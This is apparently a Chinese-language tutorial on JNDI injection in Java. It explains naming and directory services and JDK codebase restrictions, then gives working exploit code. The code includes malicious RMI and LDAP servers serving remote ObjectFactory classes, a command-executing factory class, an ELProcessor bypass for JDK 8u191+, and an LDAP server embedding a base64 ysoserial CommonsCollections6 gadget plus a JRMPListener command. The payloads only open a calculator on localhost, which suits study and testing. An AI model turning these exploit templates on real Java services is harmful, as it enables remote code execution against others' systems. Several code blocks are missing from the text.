JNDI(Java Naming and Directory Interface)本质是可以操作目录服务、域名服务的一组接口。JNDI相当于在LDAP、RMI等服务外面再套了一层API,方便统一调用。调用JNDI的API可以定位资源和其他程序对象。JNDI可访问的现有的目录及服务有: JDBC、LDAP、RMI、DNS、NIS、CORBA。
#基础概念
Naming Service 命名服务
命名服务将名称和对象进行关联,提供通过名称找到对象的操作。
Directory Service 目录服务
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。
Reference 引用
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
在JDK里面提供了5个包,提供给JNDI的功能实现。
|
|
#JNDI 目录服务
Context.INITIAL_CONTEXT_FACTORY
(初始上下文工厂的环境属性名称) 指的是JNDI服务处理的具体类名称,如:DNS服务可以使用com.sun.jndi.dns.DnsContextFactory
类来处理。
|
|
以RMI远程调用为例
|
|
JNDI协议转换: 如果JNDI在lookup时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。上面的代码可以简写为:
|
|
#JNDI Reference
|
|
在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例,JNDI调用远程Reference的时候会先尝试从本地的CLASSPATH中寻找该类,如果没有才用URLClassLoader远程进行加载。之后会执行该类的静态代码块、代码块、无参构造函数和getObjectInstance方法。
RMI/LDAP远程对象引用安全限制
-
RMI
在RMI服务中引用远程对象将受本地Java环境限制,本地的
java.rmi.server.useCodebaseOnly
配置如果为true(禁止引用远程对象)
,为false则允许加载远程类文件。除此之外被引用的ObjectFactory对象还将受到
com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果该值为false(不信任远程引用对象)
,一样无法调用远程的引用对象。JDK5u45、JDK6u45、JDK7u21、JDK8u121
开始,java.rmi.server.useCodebaseOnly
默认值改为了true。JDK6u132、JDK7u122、JDK8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值改为了 false。
本地测试远程对象引用可以使用如下方式允许加载远程的引用对象
1 2
System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
-
LDAP
LDAP也在
JDK6u211、7u201、8u191、11.0.1
后将com.sun.jndi.ldap.object.trustURLCodebase
的默认设置为了false。(但不受java.rmi.server.useCodebaseOnly
影响)
#JNDI 注入
调用了JNDI服务且lookup的参数值可控,还需JDK版本、服务器网络环境满足漏洞利用条件才可利用。
#JNDI + RMI
-
服务端代码(利用的是远程引用Reference,不是反序列化)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
package jndi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class server { public static void main(String[] args) { try { String url = "http://127.0.0.1:8080/"; Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("obj", referenceWrapper); System.out.println("running"); }catch (Exception e){ e.printStackTrace(); } } }
-
执行命令的类
JNDI允许通过对象工厂 (javax.naming.spi.ObjectFactory) 动态加载对象实现,对象工厂必须实现
javax.naming.spi.ObjectFactory
接口并重写getObjectInstance方法。1 2 3 4 5 6 7 8 9 10 11 12
import java.io.IOException; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class test implements ObjectFactory { public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception { //在创建对象过程中插入恶意的攻击代码 return Runtime.getRuntime().exec("calc"); } }
-
客户端发起请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
package jndi; import javax.naming.InitialContext; public class client { public static void main(String[] args) { try{ String url = "rmi://localhost:1099/obj"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); }catch (Exception e){ e.printStackTrace(); } } }
#JNDI + LDAP
LDAP和RMI道理差不多。LDAP服务端程序会在收到LDAP请求后返回一个含有恶意攻击代码的对象工厂的远程class地址。客户端会加载构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance
方法从而触发该方法中的恶意RCE代码。
-
服务端实现
1 2 3 4 5
<dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.0</version> </dependency>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
package jndi; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; public class ldapserver { // 设置LDAP绑定的服务地址,外网测试换成0.0.0.0 public static final String BIND_HOST = "127.0.0.1"; // 设置LDAP服务端口 public static final int SERVER_PORT = 3890; public static void main(String[] args) { try { // 创建LDAP配置对象 InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=test,dc=org"); // 设置LDAP监听配置信息 config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName(BIND_HOST), SERVER_PORT, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()) ); // 添加自定义的LDAP操作拦截器 config.addInMemoryOperationInterceptor(new OperationInterceptor()); // 创建LDAP服务对象 InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); // 启动服务 ds.startListening(); System.out.println("LDAP服务启动成功"); }catch (Exception e){ e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry entry = new Entry(base); try { // 设置对象的工厂类名 String className = "test"; //修改 entry.addAttribute("javaClassName", className); entry.addAttribute("javaFactory", className); // 设置远程的恶意引用对象的jar地址 entry.addAttribute("javaCodeBase", "<http://127.0.0.1:8080/>"); // 设置LDAP objectClass entry.addAttribute("objectClass", "javaNamingReference"); result.sendSearchEntry(entry); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Exception e1) { e1.printStackTrace(); } } } }
-
客户端实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
package jndi; import javax.naming.InitialContext; public class client { public static void main(String[] args) { /* System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");*/ try{ String url = "ldap://localhost:3890/test"; InitialContext initialContext = new InitialContext(); Object obj =initialContext.lookup(url); System.out.println(obj); }catch (Exception e){ e.printStackTrace(); } } }
执行命令的类不变,还是RMI部分介绍的test.class
。
com.sun.jndi.ldap.object.trustURLCodebase
属性的值被调整为false,LDAP就没法进行利用。
#绕过JDK 8u191+高版本限制
对于JDK6u211、7u201、8u191、11.0.1
或者更高版本的JDK来说,默认环境下之前介绍的利用方式都已经失效。两种绕过方法如下:
- 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
- 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
这两种方式都依赖受害者本地CLASSPATH中的环境,需要利用受害者本地的Gadget进行攻击。
#利用ELProcessor
可以利用ELProcessor作为Reference Factory,但由于依赖javax.el.ELProcessor这个类,所以需要目标环境 ≥ tomcat8。(可被利用的Spring Boot Web Starter版本应在1.2.x及以上,因为1.1.x及1.0.x内置的是Tomcat7)
测试了jdk 8u301、jdk11、jdk15
可以正常利用。
Server端代码
|
|
相当于调用了: new javax.el.ELProcessor().eval("Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")");
#利用LDAP反序列化数据
LDAP Server除了使用JNDI Reference进行利用之外,还可以直接返回一个对象的序列化数据。如果Java对象的javaSerializedData属性值不为空,则客户端的obj.decodeObject()方法就会对这个字段的内容进行反序列化。
-
ldap Server (这里利用的CommonsCollections 6)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
package rmiserver; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.util.Base64; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.text.ParseException; public class ldap_server { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { public OperationInterceptor () { } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { e.addAttribute("javaClassName", "Exploit"); try { // java -jar ysoserial.jar CommonsCollections6 'open /System/Applications/Calculator.app'|base64 e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=")); } catch (ParseException e1) { e1.printStackTrace(); } result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
-
客户端
1 2 3 4 5 6 7
try{ String url = "ldap://localhost:1389/Exploit"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); }catch (Exception e){ e.printStackTrace(); }
#利用RMI反序列化数据
开启JRMP Server
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections6 'open /System/Applications/Calculator.app'
客户端连接
|
|